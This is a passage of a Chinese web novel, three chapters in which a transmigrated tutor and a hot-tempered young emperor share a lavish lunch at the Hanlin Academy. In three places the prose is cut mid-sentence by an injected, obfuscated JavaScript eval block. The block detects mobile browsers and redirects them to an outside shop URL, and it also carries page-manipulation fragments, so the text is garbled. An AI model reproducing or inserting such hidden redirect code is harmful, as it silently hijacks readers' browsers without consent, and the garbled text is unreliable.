齐书宝被顾衡之笑得心神不宁,他捏紧了拳头,不再跟顾衡之绕圈子:“顾太傅披着陛下的披风,怕是不合理吧,顾太傅若真以为礼不可变通,怎么不按照东乾礼律上所说,‘谨爱圣上所赐’,真乃自相矛盾。” 此时此刻,顾衡之总算听出了齐书宝话语里的责备。 看来就像小暴君有可爱的一面一样,这位主角受齐书宝,也并不像小说中所说的那样真诚聪慧。 “陛下所赐自当谨爱,可陛下所言于臣子来讲,更应恭行,陛下怜臣体弱,便将自己的披风解了盖在我身上,按照东乾礼律,我自然要将陛下赏赐的披风披着,而不是送入祠堂供着。”顾衡之道。 顾衡之一语激起千层浪。 陛下将披风解了,披在顾太傅身上? 众书生简直不敢相信这是萧子政这个脾气暴躁的君王所为。 顾衡之自然看出了众人的不信,他趁机为萧子政说好话,拯救拯救小暴君差到不能再差的名声:“一直以来,京城中不知从哪里传来些疯言疯语,陛下不追究,但你们身为未来的百官,心里也应该明镜高悬。朝堂之上,陛下自然应威严,同时,陛下身为天子,赏罚分明,有自己的分寸,只要诸位效忠陛下,假以时日,诸位为东乾建功立业,陛下定当厚加封赏,彼时便是春风得意马蹄疾,一看尽京城花。” 其实,顾衡之这话说得自己都不信。 小暴君逗着可爱是真的,但是脾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14467644|154293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气暴也是真的,脾气暴起来要命也是真的。 到底是为什么呢,要是能找到什么法子让小暴君的脾气更好些就好了。 顾衡之心想—— 要是萧子政不那么暴躁的话,就不会在后期杀了李将军和韩尚这两个左膀右臂,也不至于失去帝位。 假如萧子政不倒…… 顾衡之就可以抱一辈子的大腿。 书生们明显被顾衡之难得的赤忱震慑到了—— 春风得意马蹄疾,当真是快意! 他们齐齐说道: “谨遵太傅教诲。” 那声音齐的,在礼院外头都能听得一清二楚,自然也吸引来了不速之客—— “诸君如此热闹,所谓何事?” 未见其人先闻其声。 顾衡之一阵头疼—— 这又是谁啊?他发誓,他只是想去侧院休息。 可恶,谁能来救救他? * 典狱司暗牢内,火光摇曳,照亮了萧子政阴暗的面孔。 带血的骨鞭被萧子政扔到一边,刑架之上,那人蓬头垢面,血痕遍布,看上去是剩下一口气了。 “我说……我说……”几个气音儿从那人干裂的嘴唇里飘了出来,几乎听不见,“那日,我的意图,确实不是陛下,只是陛下恰巧在顾府上,为了得手,我必须这么做……” “顾太傅,确实本应该死了,小人是确认了太傅咽气的,陛下,我真的不是刺客,真的不是……” “谁派你这么做的?”李将军道。 李将军的这句话并没有得到回答。 韩尚上前查看了一下那人的状况,他看向萧子政汇报道:“陛下,吓晕过去了。” 到了审讯时刻,韩尚一见血,心情激动就不结巴了。 “我觉得这家伙还是没说实话,顾衡之哪里咽气了,整整一全乎人,能说会道,不知怎的就说到陛下床上了。”李将军道,话糙理不糙,“这人就是刺客。” “重点不是这个,重点是搞清楚到底是谁把他派来的,而且,他确实没有撒谎。”韩尚说罢看向萧子政。 韩尚这人有一个特点,他能够通过观察人的神态变化,判断出这人有没有说谎。 “韩尚,问出来是谁派来的之后,就随便你吧。”萧子政似乎很烦躁,他接过李将军递过来的干净帕子擦了擦手,“孤回去了。” 陛下今日怎么走得那么急? 韩尚在心里嘀咕,不过又有新的人可以玩,韩尚还是很兴奋的。 “陛下觉得这人是不是在撒谎?”李将军心直口快,问道。 萧子政的目光暗了暗,他将帕子扔到一边:“不是。” “陛下怎么不在典狱司用膳?午后咱们还能切磋一段。”李将军跃跃欲试,他是个武痴,之所以效忠萧子政,就是因为他崇拜强者。 “太傅还在寝宫里等孤。”萧子政也不瞒着李将军,他直说道。 果然如此。 韩尚像个老母亲一样,站在旁边点了点头。 竟然如此? 李将军一时语塞。 …… 萧子政到了苍龙殿,他本以为顾太傅会在寝宫里休息,一回来,却只见空荡荡的被窝。 “人呢?”萧子政声音低沉,下一秒就要发火的样子。 “陛下,陛下息怒啊!顾太傅是去了翰林书院。”宫女太监们诚惶诚恐地跪了一排。 10. chapter10午膳 “孤当时不都说了让顾太傅今日不用去翰林书院吗!” 萧子政有些恼火,他不喜欢扑空的感觉。 萧子政原以为他和太傅的关系在逐渐变好,想了一路午膳要与太傅一起吃什么,却没想到太傅还是跟往常那样疏远。 “陛下……您当时的语气实在柔和,兴许是太傅以为陛下的话只是一句关心,而不是命令……”掌事宫女战战兢兢地说道,生怕萧子政怪罪到他们这些下人的头上。 柔和? 萧子政愣了愣,撒了一半的火被憋了回去,他在回想自己是怎么跟顾衡之说话的。 疑惑替代了萧子政脸上的怒火,萧子政揉了揉太阳穴,记性并不好的他总算意识到自己确实没有表达出让顾衡之留下来用膳的意思。 “让御膳房把午膳用食盒装着带去翰林书院,多准备几盅羊肉汤。”萧子政下令道,“现在去翰林书院。” “是。”宫女们齐齐行礼,松了一口气—— 幸好顾太傅分走了陛下的注意力,不然可有得他们受的了。 萧子政毫不犹豫地进了轿子。 “摆驾翰林书院!”领头太监一甩拂尘,说道。 “等等!”轿子内,萧子政忽然掀开了帘子道。 众人的心都悬到嗓子眼了,深怕萧子政怪罪他们。 “荆……”萧子政本来想问问那个让顾衡之关心的小太监,但是说到一半又忘了小太监的名字。 萧子政把纸条摸了出来,看清楚了萧太监的名字后继续问道:“宫里是不是有个叫荆阁的小太监。” 领头太监捏着兰花指,夹着嗓子,毕恭毕敬地回复道:“回陛下,据奴所知,荆阁是在御膳房负责打柴,前不久被调去生火了,陛下可否需要奴把荆阁那厮叫过来?” 萧子政沉思了片刻。 “罢了。”萧子政拂袖道,广袖摆动的时候带起气流发出很明显的声音,他把帘子放了下来,“孤问过荆阁的事若是敢传出去,尤其是胆敢传到太傅耳朵里,孤要了你们的舌头,剁碎了喂狗。” “奴不敢!”在场的人都倒吸了一口凉气,不知道萧子政究竟是什么意思。 其实,萧子政的想法很简单—— 要是被太傅知道自己的一举一动都被监视着,怕不是要气坏了身子。 * 翰林书院,一只宛若干枯树枝的手,先伸了进来,拨开了正院的门帘。 寒气扑面而来,顾衡之抱紧了怀里的披风。 进来的是一个老书生。 那书生长得极瘦,看起来形销骨立,发白的长衫像是套在一局没有肉的骨架上,脸上沟壑纵横,刻尽岁月沧桑。 那老书生配的是红带子,与陈阁老一样,都是正一品的官员。 尽管那老书生看起来慈眉善目,但顾衡之还是捕捉到了那人在看到他时,眼中转瞬即逝的诧异与恐惧—— 就像是大白天见了鬼。 顾衡之摸了摸自己的脸,险些怀疑自己脸上是不是戴着什么凶神恶煞的面具。 顾衡之不知道这人是谁,所以他没有说话,等着众人先开口。 “庄夫子。”学生们和齐书宝的郑重地朝那老书生行礼。 那老书生笑着点了点头,却径直朝顾衡之走来。 庄夫子? 顾衡之的大脑飞速地运转,原著小说的人物太多,一时间他想不出这个庄夫子是什么人物。 不过,原主在翰林书院就没什么交好的人,想来这个庄夫子应该跟原主的关系也没有好到哪里去。 顾衡之就一动不动地站在那儿,学着众人的样子朝庄夫子拱了拱手。 “顾太傅身体可还安好?”庄夫子道。 不知道是不是顾衡之的错觉,他总觉得这个庄夫子像是在问他—— 你怎么还没死。 可明明这个庄夫子一副关切的样子,看起来就跟陈阁老一样慈祥。 “谢庄夫子关心,衡之只是沾染了风寒,并无大碍。”顾衡之道,他不动声色地往后挪了一步,这个庄夫子让他不是很舒服,总觉得笑里藏刀。 顾衡之摸了摸腰间的匕首—— 是小暴君给他的那把,他觉得小暴君说得在理,在加上这匕首套上鞘后,并不算引人注目,于是顾衡之就把匕首挂在腰间了。 就算不用它杀人,至少驱驱邪也好。 “那便是极好的!”庄夫子重重地说道,“听说衡之在大殿上晕倒,还是陛下亲自把衡之抱去寝宫歇息,我还以为是出了什么不得了的大事!无碍便好!” 庄夫子,你…… 顾衡之满头黑线,他感觉自己刚刚树下的威严,被这姓庄的奇怪老头全数撞碎在地上。 果不其然,庄夫子话音刚落,众人一片哗然。 又是送披风,又是抱回寝宫的,陛下对顾太傅到底是厌恶还是喜欢…… 帝王之心,深不可测…… “顾太傅,真的确有此事?”有个学生大胆地问道,“他日若我等有了顾太傅这样的成就,是否也能享得此等殊荣?” 看得出来,封建王朝皇权至上的思想深入这些出身世家的学生心中,他们竟觉得这是一种荣幸。 顾衡之知道自己应该回答当然可以。 但不知为何,他想起了萧子政香香的胸肌,好像还闻到了一股饭菜的香味。 不可以! 顾衡之在心里大喊道,他可真想对这书生道:“你想得真美!萧子政可不是谁都会抱的!” 但没有办法,这都只能是顾衡之的想象。 见众人都望着自己,为了小暴君的名声,顾衡之假笑:“陛下对所有臣子自然一视同仁。” 嘻嘻,不嘻嘻。 顾衡之在心里翻了个白眼,他正想再说几句好升华主题振奋人心,就感觉寒风再次袭来。 厚重的门帘被暴力掀开,伴随着来人愤怒的话语: “孤的心思,太傅是觉得了如指掌?!” 放眼整个东乾,谁敢这么放肆? 只有萧子政了。 顾衡之心里一个咯噔。 东乾礼律中好像有一条,便是不得妄自揣度圣上。 这罪名说大也不大,说小也不下…… 他怎么就给忘了! * 时至晌午,有一个嫁妆队伍那么长的马车队,驶进了翰林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14467645|154293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书院中,此时正值用饭时期,翰林书院的师生们却没有一人敢动,他们齐刷刷地跪拜在两边。 雪蛤羹、辣子冬笋、涮锅牛肉、荤香满飘的佛跳墙、黄焖鱼翅、八宝豆腐、剁椒鱼头、湘南辣子鸭…… 九九八十一个人,食盒里装着九九八十一道名菜。 最引人注目的,便是那整整十罐的羊肉汤,冒着腾腾的热气。 能弄出这么大阵仗的人,在整个皇城也只有萧子政了。 从皇宫里出来,萧子政带着午膳来到了翰林书院,为彰显他对太傅的独宠,好让翰林书院这群没有眼力见的人不敢再偷偷上参太傅的折子,在快到翰林书院的时候,萧子政特地命下人们把食盒打开,十里飘香。 莫名的自豪感充斥着萧子政的内心—— 太傅若是知道了,可不知道会怎么夸他吧。 他萧子政,果真是太傅最为得意的门生。 萧·最强门生(自封)·子政来到礼院,他刚到门口,就听到有学生问道: “他日若我等有了顾太傅这样的成就,是否也能享得此等殊荣?” 萧子政停下了脚步,他没有忙着进去,而是等着顾衡之的回答。 萧子政本以为会听到顾衡之对他的夸奖,却没想到顾衡之一句“一视同仁”,把他先前的关心,贬为了人人都能得到的奖赏。 萧子政当然生气了,他没想到顾衡之把这段师生情谊看得如此浅薄。 …… 传说中的暴君,东乾之主莅临翰林书院,小小礼院内,所有人都跪了下来: “吾皇万岁万岁万万岁!” 当然,除了顾衡之。 倒不是顾衡之故意独立特行。 理由很简单—— 就,他忘了。 没错,顾衡之被萧子政突如其来的声音吓了一跳,再加上周遭人行礼的速度实在太快,闪电似的就跪下来了,根本没跟顾衡之商量。 等他们跪下去的时候,顾衡之慢了半拍,就被萧子政直勾勾地盯着。 这下子顾衡之跪也不是,站也不是,别提多煎熬了。 发觉顾太傅竟然没有行礼貌,众人的心也是猛得一跳—— 就算再怎么独得陛下恩宠,若是不行礼,岂不是会被阴晴不定的陛下拉下去用东乾七十二酷刑? 顾太傅今日是怎么了? 众人满头大汗。 顾衡之也是。 “陛下怎么来了。”顾衡之若无其事地微笑着,抱着萧子政的披风。 萧子政心里的怒火本来都要烧到脑子了,可瞅见顾衡之把自己的披风那么宝贝,火苗一下子就熄灭了。 不过,萧子政仍旧在生气,所以他并没有马上回答顾衡之。 “起来吧。”萧子政淡淡地说道。 众人诚惶诚恐地站了起来,不少不守规矩的学生们的目光往萧子政那边瞟。 他们这才注意到今日的陛下竟然穿了件月牙白色的披风,而且那披风竟跟顾太傅的衣服极其适合,就好像萧陛下身上的那件披风本应该就是顾太傅的一样。 难不成,陛下和太傅互换了披风?! 学生们心里一惊。 11.chapter11笑 萧子政的暴名早就在流传在外,顾衡之的冰冷翰林书院上下有目共睹,在场的学生们简直不敢想萧子政和顾衡之互换衣物的样子。 这么师生友爱的场景,怎么想都觉得不应该出现在陛下和太傅的身上。 他们并不知道,这对师生,只把温柔留给了彼此—— 别说互换披风了,萧子政的亵衣现在都在顾衡之身上呢,紧紧地贴着顾衡之的肌肤,已经被顾衡之的体温和气息全数沾染…… …… “不知陛下此次前来所为何事?”庄夫子是这里官位最高的,他越过顾衡之积极地迎了上去,与愣在一边的顾衡之形成了鲜明的对比。 然而,萧子政根本就连看都没有看庄夫子一眼,准确来说,萧子政连其他人都没有放在眼里,心里只计较着顾衡之不在寝宫里乖乖等他用膳的事情了。 “太傅,孤不是叫您在寝宫等着吗?”萧子政语气阴沉地问道,视众人于无物,就连“寝宫”这两个字都明晃晃地说了出来,把众人吓得表情失控—— 寝……寝宫?寝宫?! 有的时候,陛下犯懒确实会在寝宫接待,不过,为了帝王的安全,从未有人独自留在寝宫过,准确来说,就连历代的妃子都没有这样的待遇。 陛下竟然让顾太傅在寝宫等着? 最不可思议的是,看这架势,太傅居然还走了? 另一边,顾衡之的脸上也是不解和茫然—— 不是,小暴君先前有说过让他在寝宫等着吗?不是只说了他可以不去吗? 不过,尽管心里疑惑,顾衡之面上并没有表现出异常。 君王都很好面子,小暴君肯定也不例外。 “请陛下恕罪。”顾衡之麻利滑跪,态度诚恳。 顾衡之服软得太快,萧子政根本没有办法挑刺。 要是原主在这儿,肯定要直接说出真相然后跟萧子政杠上,最后再闹得不欢而散。 庄夫子在一旁,完全被忽略了,他夹杂顾衡之与萧子政之间—— 像个电灯泡。 “陛下……”顾衡之走到萧子政身边,示意萧子政别忘了照顾老臣子的面子。 顾衡之一提示,萧子政才注意到面前还站着个一品官员。 萧子政眉头紧皱,不用想就知道这位没心没肺的健忘帝王,压根不记得这位正一品官员是谁。 或者说,庄夫子还真该庆幸萧子政把他这个没有威胁的一品官员给忘了,新帝登基的时候,萧子政可清算了一堆不听话的高官呢,能被萧子政记住的,早就已经到坟头里待着了,算算时日,今年应该已经三岁了。 “庄夫子……”顾衡之小声提醒道,他快要原地晕过去了。 天知道他多么幸苦地帮萧子政挽回名声、笼络人心,却没想到正主一来就要露馅儿了。 “陛下,臣是翰林书院山长庄律,先帝亲封的。”庄夫子咬了咬牙,他心里早把这个目无尊长的暴君骂了不知道多少遍—— 他虽然许久未上朝不参与朝政,告病在家整理典籍,但也听说这个昏君登基三年,就连朝廷上下的官员都没有记全乎,成帝还在的时候,可是把他的跪拜礼都赦免了,如今在黄毛小儿面前,他还要如此卑躬屈膝…… 闻言,萧子政只是敷衍地点了点头,脸上的表情依旧冷冷淡淡,宛若千年古井那般毫无波澜。 庄夫子看得真切,这昏君看所有人都是一个眼神,唯有触及顾衡之的时候才会有点点波澜。 人家庄夫子可是老臣,好歹说些什么呀…… 顾衡之眼见萧子政这么敷衍,心情复杂,要是他真是小暴君的老师,肯定要好好教教小暴君。 也不知是不是萧子政听到了顾衡之的心声,顾衡之刚刚还在想小暴君怎么不关心关心老臣子几句呢,就听到萧子政迟疑地问道: “你……” 萧子政看了顾衡之一眼,看得出来萧子政对其他臣子的状态并不是很感兴趣,一时间都不知道问些什么。 说啊,小暴君,随便问问老人家身体怎么样也好啊,这么多将来的小臣子们看着呢! 感受到萧子政看过来,顾衡之笑了笑,眉眼中带了些鼓励。 萧子政转头对庄夫子说道:“你还未告老还乡?” 庄夫子的脸色更加难看了,原本就发皱的脸现在皱成一块,他的呼吸变的急促了起来,喉咙里的痰上上下下,气得呼吸困难。 顾衡之闻言也面露难色,在这一瞬间,顾衡之深刻理解了原主的感受—— 问一个尚在朝中的人为什么还没告老还乡,这不明摆着给庄夫子难堪嘛! 此时此刻,顾衡之深刻体会到了原主的感受。 皇城上下,谁人不知他顾衡之是萧子政的老师?教出来的唯一一个学生,竟如此无礼,目无长者,也难怪原主经常当众与萧子政争吵,这都是为了自己后世的名节啊。 菩提祖师对孙猴子说的那句话,最能体现顾衡之此时此刻的心情: “说什么报答之恩,日后你惹出祸来,不把师父说出来就行了。” 虽然顾衡之在看到庄夫子第一眼的时候,就对这个老头没有什么好感,但顾衡之还是站出来圆场—— 顾衡之尬笑了两声,端得一副豪放不羁道:“老骥伏枥志在千里,庄夫子若是告老还乡了,翰林书院可没人敢担此大任。” 听到顾衡之这么夸他,庄夫子的表情总算缓和了些,但萧子政就没那么高兴了。 顾衡之忽然感到小暴君戳了自己一下,动作很轻,再加上萧子政的衣袖宽大,挡住了手上的动作,所以并没有被其他人察觉,只有庄夫子受到了一万点暴击—— 他一个先帝亲封的正一品,就这么不如顾久那不懂变通的半吊子? 顾久是顾衡之的名。 庄夫子在心里都如此称呼顾衡之了,可见他有多么的气愤,要不是舍不得俸禄,他真是恨不得真的告老还乡。 当然,学生们虽然看不真切,但也隐隐约约能察觉到不对劲: 陛下和顾太傅,是不是靠得太近了些?亲密得像乞巧时节一同逛街看花灯的鸳鸯似的…… …… 顾衡之不明白萧子政为什么戳自己,他莫名其妙地看向萧子政。 萧子政没说什么,示意顾衡之看窗外。 这不看不知道,一看吓一跳。 顾衡之这才发现,他闻到的饭菜香根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14472680|154293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本不是错觉,窗外不知何时起站了几排端着食盒的宫女太监,羊肉汤多到甚至是用板车拉过来的,整整十大罐,够这里所有的学生吃一顿了。 wow!这……外面怎么有这么多好吃的! 顾衡之真怕自己的肚子会在这时候叫起来。 座位挨着窗棂的学生们也发现了这一点,他们小声交谈着,话语间充满了好奇。 “天哪,系统,你看到了吗?小暴君还是有得救的,他居然运了这么多好吃的过来给这些学生!”顾衡之在脑海中与系统沟通道,欢呼雀跃,“真是奇怪啊,才一上午的功夫,小暴君就懂什么就作体恤臣民了!难得!真难得!小暴君也真是的,来给学生们送温暖就直说嘛,弄得气氛这么凝重,还以为是来杀谁的头的呢!” 想到这儿,顾衡之不由得感觉前途大好,一片光明,他觉得有必要帮不善言辞的小暴君说几句,好让学生们知道小暴君有多么关心他们。 只要萧老板活得越久,他就越有保障,到时候都不愁生命值的,长命百岁,寿比王八,不是梦! 【宿主,我觉得你还是把萧子政想得太好了。】系统思索片刻,分析分析了萧子政的性格后说道,【很有可能他只是大张旗鼓地想要表示你是他罩着的,你看这些菜式,不都是你喜欢的?而且他先前不是还给了你匕首吗,摆明了就是觉得自己老师被别人排挤了,面子过不去。】 “谁会用这种方式示威啊。虽说这些菜确实都是我爱吃的,但问题是,我这个人,本来就不挑食。”顾衡之一点都不相信系统的推理,“搬那么多吃的来,就我跟萧子政,怎么可能吃得完啊?” 顾衡之现在是彻底相信萧子政已经回心转意了。 “陛下圣明,体恤学生们寒窗苦读,还特地准备了午膳。”顾衡之的语气轻快,透出难以掩饰的喜悦,“臣感到不胜欣喜。” 顾衡之话音刚落,学生们齐齐看向萧子政,眼中尽是难以置信—— 谁能想到,有朝一日他们也能得到陛下的关心?家里已经入朝为官的长辈们都说当今圣上严苛,皇恩难得,朝外流言滚滚,看来所说也不尽如此。陛下乃真龙天子,上天钦点,甚至至今未娶,怎会真的如商纣夏桀? …… 当上皇帝这么久以来,萧子政头一次感受到一种类似于“逼宫”的压迫感。 刀枪无眼,萧子政是一点都不带怕的,可这么多双真诚的眼眸,还有太傅…… 萧子政心里正怨气直冒,然后就撞上顾衡之希翼的眼神—— 在科考的时候,便要求三庭五眼端正,长相俊美,举止端庄,顾衡之作为成帝时期殿试的状元,长相本来就是茫茫人海中的上乘,只不过往日经常板着面孔,让人不敢直视,忘记了他的俊美。顾衡之一笑起来,眼中就带光,眼尾的小痣在此刻也显得熠熠生辉,但又笑不露齿,只是微微抿唇,笑意就在眼尾渲染开来,好似羽毛一般挠着。 没有谁比太傅更适合笑的了,韩尚过于阴森,李将军有辱斯文。 萧子政心想。 萧子政点了点头。 强调一下,他是不情不愿地点了点头。 典狱司,韩尚和李将军齐齐打了个喷嚏。 12.chapter12扒衣 仅仅一句话。 萧子政本来想要跟顾衡之一同享用的满汉全席,就这么被瓜分干净—— 忽然间,萧子政觉得自己在韩尚和李将军的得意样显得很傻…… 萧子政怨气十足地站在一旁,有好奇天颜的学生们偷偷地往萧子政的方向看,他们只觉得自己好像眼花了,居然隐隐约约能看到有黑气从陛下的天灵盖上冒出来…… 而顾衡之正陶醉在小暴君变好的征兆,张罗着把桌案拼了起来,用来当吃席的桌子,阳光灿烂的,都快要崩人设了。 不过还好,就算萧子政脸上没有一点笑容,众人也认为陛下这是帝王威严,头上就算真的冒黑气了,也会被以为是真龙气息,他们并没有察觉到,萧子政现在正因为自己给太傅带来的东西被瓜分了而闷闷不乐。他们仍旧对萧子政的恩赐诚惶诚恐又心怀感激,甚至更加景仰。恩威并用作为帝王之术永不过时。 而顾衡之笑起来保留了原主的身体习惯,足够斯文,笑不露齿,微笑的频率虽然比以往确实多了些,态度也更加积极,但总体看起来也没有太大异常。 …… 既然皇帝都点头同意了,宫女太监们从食盒里把菜肴都拿了出来,端着一盘又一盘珍馐美食鱼贯而入,菜品多得眼花缭乱,色香俱全,一看就是宫廷大厨的手艺。顾衡之叫了几个在门外看戏的杂役,一齐把羊肉汤从板车上卸了下来。 先前顾衡之问个路,杂役们都是爱答不理,但如今目睹萧子政对顾衡之的青睐比传言中还要更甚,谁又敢再对顾衡之视而不见? “顾太傅小心!还是让奴来吧。” “顾太傅,多有得罪,还望海涵……” “顾太傅……” “顾太傅!” …… 杂役们巴结的心思都要写在脸上了,他们小心翼翼地看了庄夫子一眼,见庄夫子没有意见,在顾衡之面前就更加殷勤了。 杂役们的变化,一旁的萧子政都看在眼里。 哼。 萧子政冷哼了一声,不过心情确实舒畅了许多—— 他早就听闻翰林书院的杂役不把太傅放在眼里,看来,他的威慑起到了作用。 齐书宝坐在角落里,他盯着顾衡之,几乎把汤匙给捏碎。 顾衡之现在把所有人的注意力都剥夺了去 他最瞧不起的就是这般趋炎附势之人,顾衡之他不怎么喜欢,这些杂役他也很讨厌,可齐书宝无依无靠,心里讨厌但却又不得不表现得温柔敦厚。 齐书宝心里正说着顾衡之的小话,也不知是不是他的视线太过于明显,顾衡之端着碗鱖鱼羹就过来了。 “听闻齐教习最喜鱖鱼羹,每至冬日都要命婢子去寻上好的鱖鱼,御膳房的鱖鱼羹乃一绝,齐教习也快尝尝。”顾衡之把瓷碗轻轻放到齐书宝面前。 齐书宝难以置信地看着顾衡之,一时间他的表情有些失控。 不过,他很快就整理好了心情,他接过鱖鱼羹,老半天才憋出一句:“多谢顾太傅。” 齐书宝抿了抿汤匙中的鱖鱼羹,忽然觉得手里的这份鳜鱼跟十分烫手,他在想顾衡之是怎么知道他的喜好的。 这顾太傅当真可怕…… 齐书宝的手有些颤抖。 “不必多礼,齐教习谢陛下便是,这都是陛下的意思。” 当然如果真的感谢的话,您就带着您的老公,多多来小顾玩具店光临吧~ 顾衡之心道—— 这才是他主动来给主角受送鳜鱼羹的真正原因。 作为《霸道世子爱上我》的主角受,齐书宝和萧子恪贡献了全书百分之百的大尺度戏码,跟齐书宝打好关系,与人为善,总没有错处。 至于顾衡之为什么会知道齐书宝喜欢吃什么: 小说中对主角受的描绘最多,所以顾衡之知道齐书宝喜欢吃鳜鱼羹,干脆就借花献佛了,这下就算齐书宝不能跟萧子政一起,但至少齐书宝也不会讨厌萧子政了吧,要知道,按照原本的剧情发展,萧子政还会因为齐书宝的讨厌而伤心来着。 全方位关注学生的心灵健康~ 嘿嘿,他可真是个好太傅~ 顾衡之算是彻底代入萧子政老师的角色了。 【宿主,你就不怕萧子政会吃醋?】系统忍不住打破了顾衡之的幻想。 “小暴君应该不会介意吧。再说了,他跟主角受的感情线,还没发展起来吧?”顾衡之疑惑地挠了挠头,他转头看了一眼萧子政—— 幸好,萧子政的目光根本就没有在他和齐书宝身上停留。 也不知道是不是忙了一早上的缘故,萧子政看上去有些困,他慵懒地盘腿而坐,撑着脑袋,望着窗外,眼神飘忽,让人分辨不清他是在看天上的飞鸟,还是在看地上的皑皑积雪。 坐在皇位上骇人的帝王,此时就像是老师布置课业后,东看看西看看,就是不想专心写作业的学生。 有些奇怪的是,萧子政的手紧紧抓着桌板的边缘,因为与硬物碰撞的缘故,萧子政的指尖上泛起了一阵明显的红色。 顾衡之见萧子政没有异常,情绪稳定,就继续主持大局去了。 唉,谁让这位皇帝陛下如此不靠谱呢? * 是的没错,萧子政不会介意,不会介意顾太傅居然记得齐书宝喜欢吃鱖鱼羹,对,他根本就不介意—— 才怪。 从一开始,萧子政的目光,就没有从顾衡之身上移开过,等到太傅看过来的时候,萧子政才勉强移开了眼。 萧子政感觉很奇怪,明明在场的人有那么多,热烘烘的,一堆人扎在一起,可他却能一眼就从人群里找到顾衡之的身影,也不知是不是因为顾太傅的身形太过单薄,像是风一吹,就能飘上天的纸片人似的,抓也抓不住。 萧子政的目光又不自觉地飘忽到了顾衡之的左手上。 一开始,太傅的身体并不是像如今这般不好,毕竟读书也是体力活,熬夜苦读也是经常有的事,听说,太傅的体力在一众书生上应该算是佼佼者。 萧子政依稀记得,在他刚被迎回皇城的时候,并不受瞩目,甚至因为是私生子的缘故,不能太过张扬,就连马车都很简谱,不像现在这般八抬大轿,行人跪拜。行至京城城门前时,窄小的马车刚好与被人群簇拥着的顾状元遥遥相望。 从小到大,萧子政从未见过这么好看的人。 小时候,萧子政听阿父讲,父皇是世间最为俊美的男子,萧子政一直都是这么认为的。 可是见了当年的顾状元,萧子政才发现自己的阿父在撒谎,父皇老了,不及顾状元。 那时候顾太傅能文能武,登科之时红衣策马,金鞍玉勒,意气风发,温润如玉。第一次跟顾太傅碰面的时候,他不下心把阿父留下的珠串弄散了,太傅不厌其烦地帮他将珠子找回来,还一颗颗地穿好。 谁能料想接下来…… 萧子政知道,都是因为自己不争气,太傅才长出了尖刺,冻成了冰霜。 但是,他没办法…… 如若按照太傅所说的方法治国,谁都不杀,过于心慈手软,他们都会死,所以那些背叛他的乱臣贼子,他一个都没有放过,株连九族,全数坑杀…… 想到这儿,萧子政的眼神暗了暗,他看向窗外的雪景,寒风瑟瑟,刺得他的手臂都有些疼。 冷风让萧子政把手缩了回来,藏在披风里。 萧子政不明白,为什么太傅不愿意准他迁都,若是把都城迁到温暖的南下,太傅的手臂就不会在天冷的时候疼了。 想当初,想到迁都作为太傅生辰之礼的时候,萧子政别提有多佩服自己了,兴高采烈地去找太傅结果被骂了个狗血淋头,然后闹了个不欢而散。 如今的太傅如萧子政所希望的那样,慢慢变回他们初见的温柔样子。 本来萧子政应该高兴才是,可是…… 太傅的温柔,好像太过了。 萧子政盯着被顾衡之关心的齐书宝,牙齿在下唇上咬下坑洞,很疼,顾衡之对齐书宝的温柔,让他很不爽…… * 虽然萧子政只让宫里人准备了他跟顾衡之的餐具,但好在翰林书院的小厨房餐具齐全,不至于让一众文雅书生用手抓饭。 茶杯里装了热腾腾的羊肉汤,在场的所有人每个人一份,就连仆役都没有落下—— 做生意如做官,都要会来事儿,从宫里带出来的羊肉汤实在太多,顾衡之干脆撺掇萧子政把剩下的羊肉汤都分了出去。 见者有份,一时间礼院热闹得跟过年似的,众人脸上都是喜气洋洋,什么好话都是虚的,对老百姓来讲,落在肚子里的嚼谷才是真的。 要是有丝竹之乐,这里就显得像是宫宴现场了。 大雪天的,诵读了一早上,学生们早就饿得前胸贴后背了。他们毕竟还是少年,年纪轻轻,压不住事,能吃到宫廷美食事小,但是可以跟皇帝一起用膳,就算是名声不怎么好的萧子政,对于他们来讲那也是天大的殊荣! 把羊肉汤尽数分给了学生和下人们,顾衡之瞥了萧子政一眼,只见小暴君还是维持着先前那个不高兴的样子,但好在,在这热闹非凡的气氛下,小暴君没有好意思发火。 见状,顾衡之松了一口气—— 假如小暴君以后都这么听话,人人得而诛之的现象根本就不会发生,有得救,有得救。 一切就绪,就到了用膳的时候。 就算现在不是正式的宫廷宴会场合,但按照理解,众人还是齐齐朝萧子政行礼,萧子政敷衍地点头示意,表示可以开饭了。 “吾皇万岁万岁万万岁!谢陛下赏宴!” 这虽然只是一句平凡的敬辞,但此刻的学生们却念的激昂慷慨,也不知是不是被热闹的气氛给感染了。 顾衡之端着饭碗,乖乖地回到了萧子政身边。 “陛下,臣真的很欣慰。”顾衡之坐在萧子政旁边,小声说道。 